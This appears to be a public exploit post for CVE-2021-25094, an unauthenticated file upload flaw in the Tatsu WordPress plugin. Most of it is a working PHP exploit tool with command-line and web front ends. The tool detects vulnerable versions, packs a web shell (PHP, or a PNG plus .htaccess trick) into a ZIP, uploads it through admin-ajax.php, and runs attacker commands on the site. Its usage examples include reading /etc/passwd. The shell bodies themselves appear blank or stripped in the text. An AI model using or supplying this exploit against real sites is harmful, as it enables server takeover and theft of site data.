============================================================================================================================================= | # Title : WordPress Tatsu 3.3.11 Plugin Unauthenticated File Upload | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://tatsubuilder.com/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/190566/ & CVE-2021-25094 [+] Summary : Critical unauthenticated remote code execution vulnerability in Tatsu WordPress Plugin (versions 3.3.11) allowing attackers to upload and execute arbitrary PHP code through malicious ZIP file uploads without any authentication. [+] POC : php poc.php or http://127.0.0.1/poc.php target = $target; $this->port = $port; $this->ssl = $ssl; $this->base_path = rtrim($base_path, '/'); $this->timeout = 30; $this->headers = [ 'X-Requested-With: XMLHttpRequest', 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36', 'Accept: */*', 'Accept-Language: en-US,en;q=0.9' ]; } /** * Check if target is vulnerable */ public function check() { echo "[*] Checking Tatsu WordPress Plugin vulnerability...\n"; // Check if WordPress is accessible $res = $this->send_request('/'); if (!$res || $res['code'] != 200) { echo "[-] Cannot access WordPress site\n"; return "unknown"; } // Check Tatsu plugin $res = $this->send_request('/wp-content/plugins/tatsu/'); if ($res && $res['code'] == 200) { echo "[+] Tatsu plugin detected\n"; // Try to check version from changelog $version = $this->check_version(); if ($version && $this->is_version_vulnerable($version)) { echo "[+] ✓ Tatsu version $version is vulnerable\n"; return "vulnerable"; } else { echo "[+] Tatsu plugin found (version check failed)\n"; return "likely_vulnerable"; } } echo "[-] Tatsu plugin not found\n"; return "safe"; } /** * Check Tatsu version */ private function check_version() { $res = $this->send_request('/wp-content/plugins/tatsu/changelog.md'); if ($res && $res['code'] == 200) { if (preg_match('/v?(\d+\.\d+\.\d+)/', $res['body'], $matches)) { return $matches[1]; } } return null; } /** * Check if version is vulnerable */ private function is_version_vulnerable($version) { return version_compare($version, '3.3.11', '<='); } /** * Generate malicious ZIP file */ private function generate_zip($technique = 'php', $custom_shell = null, $keep = false) { echo "[*] Generating malicious ZIP file...\n"; $zip = new ZipArchive(); $zip_filename = tempnam(sys_get_temp_dir(), 'tatsu_') . '.zip'; if ($zip->open($zip_filename, ZipArchive::CREATE) !== TRUE) { return false; } $this->zip_name = $this->random_string(3); $this->shell_filename = '.' . $this->random_string(5); switch ($technique) { case 'php': $shell_content = $this->generate_php_shell($keep); $this->shell_filename .= '.php'; break; case 'htaccess': $shell_content = $this->generate_htaccess_shell($keep); $this->shell_filename .= '.png'; break; case 'custom': if ($custom_shell && file_exists($custom_shell)) { $shell_content = file_get_contents($custom_shell); $this->shell_filename = '.' . basename($custom_shell); } else { echo "[-] Custom shell file not found\n"; return false; } break; default: echo "[-] Unknown technique: $technique\n"; return false; } if ($technique == 'htaccess') { $zip->addFromString('.htaccess', "AddType application/x-httpd-php .png\n"); } $zip->addFromString($this->shell_filename, $shell_content); $zip->close(); $zip_content = file_get_contents($zip_filename); unlink($zip_filename); return $zip_content; } /** * Generate PHP shell */ private function generate_php_shell($keep = false) { $shell = ''; return $shell; } /** * Generate .htaccess + PHP shell */ private function generate_htaccess_shell($keep = false) { $shell = ''; return $shell; } /** * Upload malicious ZIP */ private function upload_zip($zip_content) { echo "[*] Uploading malicious ZIP file...\n"; $boundary = '----WebKitFormBoundary' . $this->random_string(16); $data = "--{$boundary}\r\n"; $data .= "Content-Disposition: form-data; name=\"action\"\r\n\r\n"; $data .= "add_custom_font\r\n"; $data .= "--{$boundary}\r\n"; $data .= "Content-Disposition: form-data; name=\"file\"; filename=\"{$this->zip_name}.zip\"\r\n"; $data .= "Content-Type: application/zip\r\n\r\n"; $data .= $zip_content . "\r\n"; $data .= "--{$boundary}--\r\n"; $headers = array_merge($this->headers, [ "Content-Type: multipart/form-data; boundary={$boundary}", "Content-Length: " . strlen($data) ]); $res = $this->send_request('/wp-admin/admin-ajax.php', 'POST', [], $data, $headers); if ($res && $res['code'] == 200) { $json = json_decode($res['body'], true); if ($json && isset($json['status']) && $json['status'] == 'success') { echo "[+] ZIP file uploaded successfully\n"; if (isset($json['name'])) { $this->zip_name = $json['name']; } return true; } } echo "[-] ZIP upload failed\n"; if ($res) { echo "[-] HTTP {$res['code']}: {$res['body']}\n"; } return false; } /** * Execute command via uploaded shell */ public function execute_command($command, $technique = 'php', $custom_shell = null, $keep = false) { echo "[*] Executing command: $command\n"; // Generate and upload ZIP $zip_content = $this->generate_zip($technique, $custom_shell, $keep); if (!$zip_content) { echo "[-] Failed to generate ZIP file\n"; return false; } if (!$this->upload_zip($zip_content)) { return false; } // Build shell URL $shell_url = "/wp-content/uploads/typehub/custom/{$this->zip_name}/{$this->shell_filename}"; echo "[+] Shell URL: {$this->build_url($shell_url)}\n"; // Execute command $encoded_cmd = base64_encode($command); $post_data = "text={$encoded_cmd}"; $headers = array_merge($this->headers, [ 'Content-Type: application/x-www-form-urlencoded', 'Content-Length: ' . strlen($post_data) ]); $res = $this->send_request($shell_url, 'POST', [], $post_data, $headers); if ($res && $res['code'] == 200) { echo "[+] Command executed successfully\n"; echo "[+] Output:\n{$res['body']}\n"; return true; } else { echo "[-] Command execution failed\n"; if ($res) { echo "[-] HTTP {$res['code']}\n"; } return false; } } /** * Full exploitation */ public function exploit($command = 'whoami', $technique = 'php', $custom_shell = null, $keep = false) { echo "[*] Starting Tatsu WordPress Plugin exploitation...\n"; // Check vulnerability first $status = $this->check(); if ($status !== "vulnerable" && $status !== "likely_vulnerable") { echo "[-] Target does not appear to be vulnerable\n"; return false; } echo "[*] Target appears vulnerable, proceeding with exploitation...\n"; if ($this->execute_command($command, $technique, $custom_shell, $keep)) { echo "[+] ✓ Exploitation completed successfully\n"; return true; } else { echo "[-] Exploitation failed\n"; return false; } } /** * Send HTTP request */ private function send_request($path, $method = 'GET', $params = [], $data = null, $custom_headers = []) { $url = $this->build_url($path); if ($method == 'GET' && !empty($params)) { $url .= '?' . http_build_query($params); } $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => $this->timeout, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_CUSTOMREQUEST => $method, CURLOPT_FOLLOWLOCATION => false, CURLOPT_HEADER => false ]); // Add POST data if provided if ($method == 'POST' && $data) { curl_setopt($ch, CURLOPT_POSTFIELDS, $data); } // Build headers $headers = array_merge($this->headers, $custom_headers); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($response !== false) { return [ 'code' => $http_code, 'body' => $response ]; } return false; } /** * Generate random string */ private function random_string($length = 8) { $chars = 'abcdefghijklmnopqrstuvwxyz'; $result = ''; for ($i = 0; $i < $length; $i++) { $result .= $chars[rand(0, strlen($chars) - 1)]; } return $result; } /** * Build full URL */ private function build_url($path) { $protocol = $this->ssl ? 'https' : 'http'; $full_path = $this->base_path . $path; return "{$protocol}://{$this->target}:{$this->port}{$full_path}"; } } // CLI Interface if (php_sapi_name() === 'cli') { echo " ╔══════════════════════════════════════════════════════════════╗ ║ Tatsu WordPress Plugin RCE ║ ║ CVE-2021-25094 ║ ║ PHP Implementation ║ ╚══════════════════════════════════════════════════════════════╝ \n"; $options = getopt("t:p:s:u:cC:T:k", [ "target:", "port:", "ssl", "uri:", "check", "command:", "technique:", "custom-shell:", "keep" ]); $target = $options['t'] ?? $options['target'] ?? null; $port = $options['p'] ?? $options['port'] ?? 80; $ssl = isset($options['s']) || isset($options['ssl']); $base_uri = $options['u'] ?? $options['uri'] ?? '/'; $check_only = isset($options['c']) || isset($options['check']); $command = $options['C'] ?? $options['command'] ?? 'whoami'; $technique = $options['T'] ?? $options['technique'] ?? 'php'; $custom_shell = $options['custom-shell'] ?? null; $keep = isset($options['k']) || isset($options['keep']); if (!$target) { echo "Usage: php tatsu_exploit.php [options]\n"; echo "Options:\n"; echo " -t, --target Target host (required)\n"; echo " -p, --port Target port (default: 80)\n"; echo " -s, --ssl Use SSL (default: false)\n"; echo " -u, --uri Base URI path (default: /)\n"; echo " -c, --check Check only (don't exploit)\n"; echo " -C, --command Command to execute (default: whoami)\n"; echo " -T, --technique Shell technique: php, htaccess, custom (default: php)\n"; echo " --custom-shell Custom shell file path (for custom technique)\n"; echo " -k, --keep Keep shell file after execution\n"; echo "\nExamples:\n"; echo " php tatsu_exploit.php -t wordpress.example.com -c\n"; echo " php tatsu_exploit.php -t 192.168.1.100 -C 'id; uname -a'\n"; echo " php tatsu_exploit.php -t site.com -T htaccess -C 'cat /etc/passwd'\n"; exit(1); } $exploit = new TatsuRCEExploit($target, $port, $ssl, $base_uri); if ($check_only) { $result = $exploit->check(); echo "\n[*] Result: {$result}\n"; } else { if ($exploit->exploit($command, $technique, $custom_shell, $keep)) { echo "[+] Exploitation completed successfully\n"; } else { echo "[-] Exploitation failed\n"; } } } else { // Web Interface $action = $_POST['action'] ?? ''; if ($action === 'check' || $action === 'exploit') { $target = $_POST['target'] ?? ''; $port = $_POST['port'] ?? 80; $ssl = isset($_POST['ssl']); $base_uri = $_POST['uri'] ?? '/'; $command = $_POST['command'] ?? 'whoami'; $technique = $_POST['technique'] ?? 'php'; $keep = isset($_POST['keep']); if (empty($target)) { echo "
$output"; } echo 'Back to Form'; } else { // Display the form echo '
Vulnerability: Unauthenticated file upload leading to RCE
Affected Versions: Tatsu Plugin ≤ 3.3.11
Authentication: None required
Endpoint: /wp-admin/admin-ajax.php
Action: add_custom_font
Impact: Remote Code Execution via ZIP file upload
Exploit Chain: ZIP Upload → File Extraction → PHP Execution